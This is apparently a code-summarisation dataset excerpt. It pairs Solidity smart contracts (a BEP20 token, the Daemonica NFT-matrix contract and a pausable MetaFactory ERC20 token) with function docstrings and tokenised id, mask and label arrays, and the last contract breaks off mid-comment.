{IBEP20-balanceOf}. */ function balanceOf(address account) external view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IBEP20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IBEP20-allowance}. */ function allowance(address owner, address spender) external view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IBEP20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IBEP20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {BEP20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) external virtual override returns (bool) { _transfer(sender, recipient, amount); require(_allowances[sender][_msgSender()] >= amount, "BEP20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IBEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IBEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) { require(_allowances[_msgSender()][spender] >= subtractedValue, "BEP20: decreased allowance below zero"); _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); require(_balances[sender] >= amount, "BEP20: transfer amount exceeds balance"); _balances[sender] -= amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function claimToken(IERC20 token, address to) external onlyOwner { uint256 balance = token.balanceOf(address(this)); bool sent = token.transfer(to, balance); require(sent, "Failed to send token"); } function claimBNB(address payable to) external onlyOwner { (bool sent, ) = to.call{value: address(this).balance}(""); require(sent, "Failed to send BNB"); } function burn(uint256 amount) external onlyOwner returns (bool) { _burn(_msgSender(), amount); return true; } function _burn(address account, uint256 amount) internal { require(account != address(0), "BEP20: burn from the zero address"); require(_balances[account] >= amount, "BEP20: burn amount exceeds balance"); _balances[account] -= amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function mint(uint256 amount) external onlyOwner returns (bool) { _mint(_msgSender(), amount); return true; } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } }
* @dev Moves tokens `amount` from `sender` to `recipient`. This is internal function is equivalent to {transfer}, and can be used to e.g. implement automatic token fees, slashing mechanisms, etc. Emits a {Transfer} event. Requirements: - `sender` cannot be the zero address. - `recipient` cannot be the zero address. - `sender` must have a balance of at least `amount`./
function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); require(_balances[sender] >= amount, "BEP20: transfer amount exceeds balance"); _balances[sender] -= amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); }
5,718,040
[ 1, 19297, 2430, 1375, 8949, 68, 628, 1375, 15330, 68, 358, 1375, 20367, 8338, 1220, 353, 2713, 445, 353, 7680, 358, 288, 13866, 5779, 471, 848, 506, 1399, 358, 425, 18, 75, 18, 2348, 5859, 1147, 1656, 281, 16, 9026, 310, 1791, 28757, 16, 5527, 18, 7377, 1282, 279, 288, 5912, 97, 871, 18, 29076, 30, 300, 1375, 15330, 68, 2780, 506, 326, 3634, 1758, 18, 300, 1375, 20367, 68, 2780, 506, 326, 3634, 1758, 18, 300, 1375, 15330, 68, 1297, 1240, 279, 11013, 434, 622, 4520, 1375, 8949, 8338, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 13866, 12, 2867, 5793, 16, 1758, 8027, 16, 2254, 5034, 3844, 13, 2713, 5024, 288, 203, 3639, 2583, 12, 15330, 480, 1758, 12, 20, 3631, 315, 5948, 52, 3462, 30, 7412, 628, 326, 3634, 1758, 8863, 203, 3639, 2583, 12, 20367, 480, 1758, 12, 20, 3631, 315, 5948, 52, 3462, 30, 7412, 358, 326, 3634, 1758, 8863, 203, 203, 3639, 2583, 24899, 70, 26488, 63, 15330, 65, 1545, 3844, 16, 315, 5948, 52, 3462, 30, 7412, 3844, 14399, 11013, 8863, 203, 3639, 389, 70, 26488, 63, 15330, 65, 3947, 3844, 31, 203, 3639, 389, 70, 26488, 63, 20367, 65, 1011, 3844, 31, 203, 203, 3639, 3626, 12279, 12, 15330, 16, 8027, 16, 3844, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT // https://kanon.art - K21 // https://daemonica.io // // // [email protected]@@@@@@@@@@$$$ // [email protected]@@@@@$$$$$$$$$$$$$$## // $$$$$$$$$$$$$$$$$#########*** // $$$$$$$$$$$$$$$#######**!!!!!! // ##$$$$$$$$$$$$#######****!!!!========= // ##$$$$$$$$$#$#######*#***!!!=!===;;;;; // *#################*#***!*!!======;;;::: // ################********!!!!====;;;:::~~~~~ // **###########******!!!!!!==;;;;::~~~--,,,-~ // ***########*#*******!*!!!!====;;;::::~~-,,......,- // ******#**********!*!!!!=!===;;::~~~-,........ // ***************!*!!!!====;;:::~~-,,.......... // !************!!!!!!===;;::~~--,............ // !!!*****!!*!!!!!===;;:::~~--,,.......... // =!!!!!!!!!=!==;;;::~~-,,........... // =!!!!!!!!!====;;;;:::~~--,........ // ==!!!!!!=!==;=;;:::~~--,...:~~--,,,.. // ===!!!!!=====;;;;;:::~~~--,,..#*=;;:::~--,. // ;=============;;;;;;::::~~~-,,...$$###==;;:~--. // :;;==========;;;;;;::::~~~--,,[email protected]@$$##*!=;:~-. // :;;;;;===;;;;;;;::::~~~--,,...$$$$#*!!=;~- // :;;;;;;;;;;:::::~~~~---,,...!*##**!==;~, // :::;:;;;;:::~~~~---,,,...~;=!!!!=;;:~. // ~:::::::::::::~~~~~---,,,....-:;;=;;;~, // ~~::::::::~~~~~~~-----,,,......,~~::::~-. // -~~~~~~~~~~~~~-----------,,,.......,-~~~~~,. // ---~~~-----,,,,,........,---,. // ,,--------,,,,,,......... // .,,,,,,,,,,,,...... // ............... // ......... pragma solidity ^0.8.0; import "./Ownable.sol"; import "./ReentrancyGuard.sol"; import "./IERC721Metadata.sol"; import "./IERC721Enumerable.sol"; import "./OccultMath.sol"; import "./Helpers.sol"; interface IBase64 is IERC721Enumerable, IERC721Metadata {} interface IDaemonica { function getTau(address _hodler) external view returns (string[] memory); function getTheta(uint256 _tokenId, uint8 _modulo, string[] memory _tau) external view returns (uint8[8][8] memory); function isQualified(address _hodler) external view returns (bool); } /** @title Daemonica contract * @author @0xAnimist * @notice "Daemonica generates an ever-changing 8 x 8 numerical matrix from base64-encoded * onchain art. Each matrix is associated with an "Entity," which in turn can cast "Xe_ntities." * The n dimensional relationships that exist within and between each Entity and Xe_ntity can be * freely interpreted and understood. Use Daemonica however you wish." –artist */ contract Daemonica is Ownable, ReentrancyGuard { uint8 public totalDims = 0; uint8 public totalAddedDims = 0; uint8 public maxAddableDims = 128; mapping (string => address) public dimAdder; uint8 public totalOwnerAddedDims = 0; uint8 public maxOwnerAddableDims = 128; bool public presale = true; address public artist; uint256 public artistBalance = 0; uint256 public ownerBalance = 0; mapping (string => IBase64) private dims; mapping (uint8 => string) private symbolStringByIndex; mapping (string => uint8) private symbolIndexByString; /** @notice Allows only the artist to broadcast a message * @param _artist Artists's address * @param _message Artist's message */ event Broadcast(address indexed _artist, string _message); /** @notice Only the artist can call function */ modifier onlyArtist() { require(artist == _msgSender(), "caller is not the artist"); _; } /** @notice Only the artist or owner can call function */ modifier onlyAdmin() { require(artist == _msgSender() || owner() == _msgSender(), "caller is not the artist or owner"); _; } /** @notice Requires dim with symbol _symbol to be initialized * @param _symbol Symbol associated with the dim's contract */ modifier dimExists(string memory _symbol) { require(Helpers.compareStrings(symbolStringByIndex[symbolIndexByString[_symbol]],_symbol), "dim not exist"); _; } /** @notice Allows only the artist to broadcast a message * @param _message Artist's message */ function artistBroadcast(string memory _message) external onlyArtist { emit Broadcast(msg.sender, _message); } /** @notice Allows the owner to set the presale flag * @param _value the new value */ function setPresale(bool _value) external onlyOwner { presale = _value; } /** @notice Returns lists of all dims by symbol and address * @dev different contracts with the same symbol cannot be registered, only the first registered will be accepted * @return string array of each dim symbol * @return address array of each dim contract address */ function getDims() external view returns (string[] memory, address[] memory) { string[] memory symbols = new string[](totalDims); address[] memory addresses = new address[](totalDims); for(uint8 i = 0; i < totalDims; i++){ symbols[i] = symbolStringByIndex[i]; addresses[i] = address(dims[symbols[i]]); } return (symbols, addresses); } /** @notice Registers a new dim * @dev different contracts with the same symbol cannot be registered, only the first registered will be accepted * @param _address Contract address of dim to register */ function registerDim(address _address) internal { IBase64 dim = IBase64(_address); //name the new dim symbolically and increment the dims counter string memory symbol = dim.symbol(); require(!Helpers.compareStrings(dim.symbol(), ""), "requires symbol"); require(!Helpers.compareStrings(symbolStringByIndex[symbolIndexByString[symbol]],symbol), "symbol already registered"); //ensure the new dim is base64 encoded require(isValidLootverseURI(dim.tokenURI(1)));//test it against the first token symbolStringByIndex[totalDims] = symbol; symbolIndexByString[symbol] = totalDims; totalDims++; dims[symbol] = dim; dimAdder[symbol] = _msgSender(); } /** @notice Allows owner to add a dim with a quota of maxOwnerAddableDims * @param _address Contract address of dim to register */ function adminAddDim(address _address) external onlyAdmin { require(totalOwnerAddedDims < maxOwnerAddableDims, "owner quota exceeded"); registerDim(_address); totalOwnerAddedDims++; } /** @notice Anyone can add a valid dim for 1 ether * @param _address Contract address of dim to register */ function addDim(address _address) external payable nonReentrant { require(!presale, "not yet"); require(msg.value >= 1 ether, "costs 1 eth"); require(totalAddedDims < maxAddableDims, "public quota exceeded"); registerDim(_address); totalAddedDims++; ownerBalance += msg.value/2; artistBalance += msg.value/2;//TODO (msg.value - msg.value/2); } /** @notice Refunds a dimAdder if owner has to delete the dim the added in case * of emergency * @param _symbol Symbol of the dim being removed that needs refunding */ function refund(string memory _symbol) internal { require(address(this).balance >= 1 ether, "owner cannot afford refund"); payable(dimAdder[_symbol]).transfer(1 ether); uint256 half = (1 ether)/2; if(ownerBalance >= half){ if(artistBalance >= half){ ownerBalance -= half; artistBalance -= half; }else{ ownerBalance -= (1 ether) - artistBalance; artistBalance = 0; } }else{ artistBalance -= (1 ether) - ownerBalance; ownerBalance = 0; } } /** @notice Allows owner to remove a dim and refund the dimAdder * @dev Emergency use only * @param _symbol Symbol of the dim to remove */ function adminRemoveDim(string memory _symbol) external onlyAdmin dimExists(_symbol) { require(totalDims > 0, "no dims"); refund(_symbol); delete(dims[_symbol]);//delete the interface //refactor the mappings for(uint8 i = symbolIndexByString[_symbol]; i < totalDims; i++){ symbolStringByIndex[i] = symbolStringByIndex[i+1]; symbolIndexByString[symbolStringByIndex[i]] = i; } //delete the mappings delete(symbolIndexByString[_symbol]); delete(symbolStringByIndex[totalDims]); //decrement the count totalDims--; } /** @notice Returns true if the given tokenURI() return value has a valid base64 header, payload, and its contract has a valid symbol * @param _str Return value from tokenURI() to test * @return true or false */ function isValidLootverseURI(string memory _str) internal pure returns (bool) { require(Helpers.compareStrings("data:application/json;base64,", Helpers.substring(_str, 0, 29)), 'Invalid prefix'); string memory payload = Helpers.substring(_str, 29, 0); require( OccultMath.isValidBase64String(payload), "non-base64 chars"); return true; } /** @notice Returns true if _hodler holds tokens from any dim in _animolist * @param _hodler would be _hodler * @return True or false */ function isQualified(address _hodler) external view returns (bool){ for(uint8 i = 0; i < totalDims; i++){ if(dims[symbolStringByIndex[i]].balanceOf(_hodler) > 0){ return true; } } return false; } /** @notice 𝜏 = tau, a rarely used Greek symbol, *facta bruta* :( 𝜏 symbolizes ( life | regeneration | resurrection | the power to find new life paths or choices )+. A striking phonetic relationship exists between 𝜏 and "tao", the Chinese term for ( the way | the true path | inner compass )+. *Hic et nunc*, the Daemonican way is death * life, or θ𝜏=X(ξ). * @dev Returns any dims in which the _hodler owns at least one token of any tokenId * @param _hodler entity hodler * @return A string array of the symbols of one or more tokens from each dim held by the hodler */ function getTau(address _hodler) public view returns (string[] memory){ string[] memory tau; uint8 count = 0; if(_hodler == address(0)){//no hodler, default to first dim tau = new string[](1); tau[count++] = symbolStringByIndex[0]; return tau; }else{ tau = new string[](totalDims); for(uint8 i = 0; i < totalDims; i++){ if(dims[symbolStringByIndex[i]].balanceOf(_hodler) > 0){ tau[count++] = symbolStringByIndex[i]; } } if(count == 0){//default to first dim string[] memory output = new string[](1); output[0] = symbolStringByIndex[0]; return output; }else{//splice to length string[] memory output = new string[](count); for(uint8 i = 0; i < count; i++){ output[i] = tau[i]; } return output; } } } /** @notice θ = theta, symbol of change in angle or rotation. *Thanatos* (death) hides in this symbol. There is no ξ without θ, no *existentialia* without change. θ is also therefore a talismanic sign for passage to the “underworld”, to a realm closer to life’s origins. * @dev Returns theta, the 8x8 base-_modulo frequency matrix of an entity * @param _tokenId tokenId of the entity being queried * @param _modulo caps all values at base-_modulo * @param _tau tau is the dimensions of _tokenId's hodler */ function getTheta(uint256 _tokenId, uint8 _modulo, string[] memory _tau) external view returns (uint8[8][8] memory) { bytes[] memory bytePayloads = new bytes[](_tau.length); for(uint8 i = 0; i < _tau.length; i++){ bytePayloads[i] = bytes(Helpers.substring(dims[_tau[i]].tokenURI(_tokenId), 29, 0)); } uint8[8][8] memory thetas = OccultMath.sixtyFourier(bytePayloads, _modulo); return thetas; } /** @notice Allows owner to withdraw available balance */ function ownerWithdrawAvailableBalance() public nonReentrant onlyOwner { uint256 b = ownerBalance; ownerBalance = 0; payable(msg.sender).transfer(b); } /** @notice Allows artist to withdraw available balance */ function artistWithdrawAvailableBalance() public nonReentrant onlyArtist { uint256 b = artistBalance; artistBalance = 0; payable(msg.sender).transfer(b); } /** @notice Daemonica constructor * @param _artist The Ethereum address of the artist */ constructor (address _artist) { artist = _artist; } }
* @notice Allows only the artist to broadcast a message @param _message Artist's message/
function artistBroadcast(string memory _message) external onlyArtist { emit Broadcast(msg.sender, _message); }
98,049
[ 1, 19132, 1338, 326, 15469, 358, 8959, 279, 883, 282, 389, 2150, 9042, 376, 1807, 883, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 15469, 15926, 12, 1080, 3778, 389, 2150, 13, 3903, 1338, 4411, 376, 288, 203, 565, 3626, 19687, 12, 3576, 18, 15330, 16, 389, 2150, 1769, 203, 225, 289, 203, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.6.4; contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } /** * @dev Implementation of the {IERC20} interface. * * Taken from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.0.0/contracts/token/ERC20/IERC20.sol * added pausable and "exit to community" functionality */ contract PausableERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint256 private _amount; uint8 private _decimals; address private _admin; bool private _paused; event Paused(bool state); event ExitedToCommunity(); /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * All three of these values are immutable: they can only be set once during * construction. */ //constructor (address admin, string memory name, string memory symbol, uint256 amount) public { constructor () public { _admin = 0x2150Cb38ee362bceAC3d4A2704A82eeeD02E93EC; _name = "MetaFactory"; _symbol = "ROBOT"; _amount = 420000; _decimals = 18; _mint(_admin, _amount * (10 ** uint256(_decimals))); } /** * @dev checks to ensure that only the admin can execute */ modifier onlyAdmin { require(msg.sender == _admin, "admin only"); _; } /** * @dev checks to ensure the contract is not paused * only the admin can execute methods when the contract is paused * or when the contract has exited to community */ modifier notPaused { require(msg.sender == _admin || _paused == false, "transfer is paused"); _; } /** * @dev once exited to community, the contract can no longer be paused */ function exitToCommunity() public onlyAdmin returns (bool) { _paused = false; _admin = address(0); emit ExitedToCommunity(); return true; } /** * @dev sets the contract in a paused state, only admin can transfer tokens */ function pause(bool _pause) public onlyAdmin returns (bool) { _paused = _pause; emit Paused(_paused); return _paused; } /** * @dev Returns the admin address for the token. */ function admin() public view returns (address) { return _admin; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * 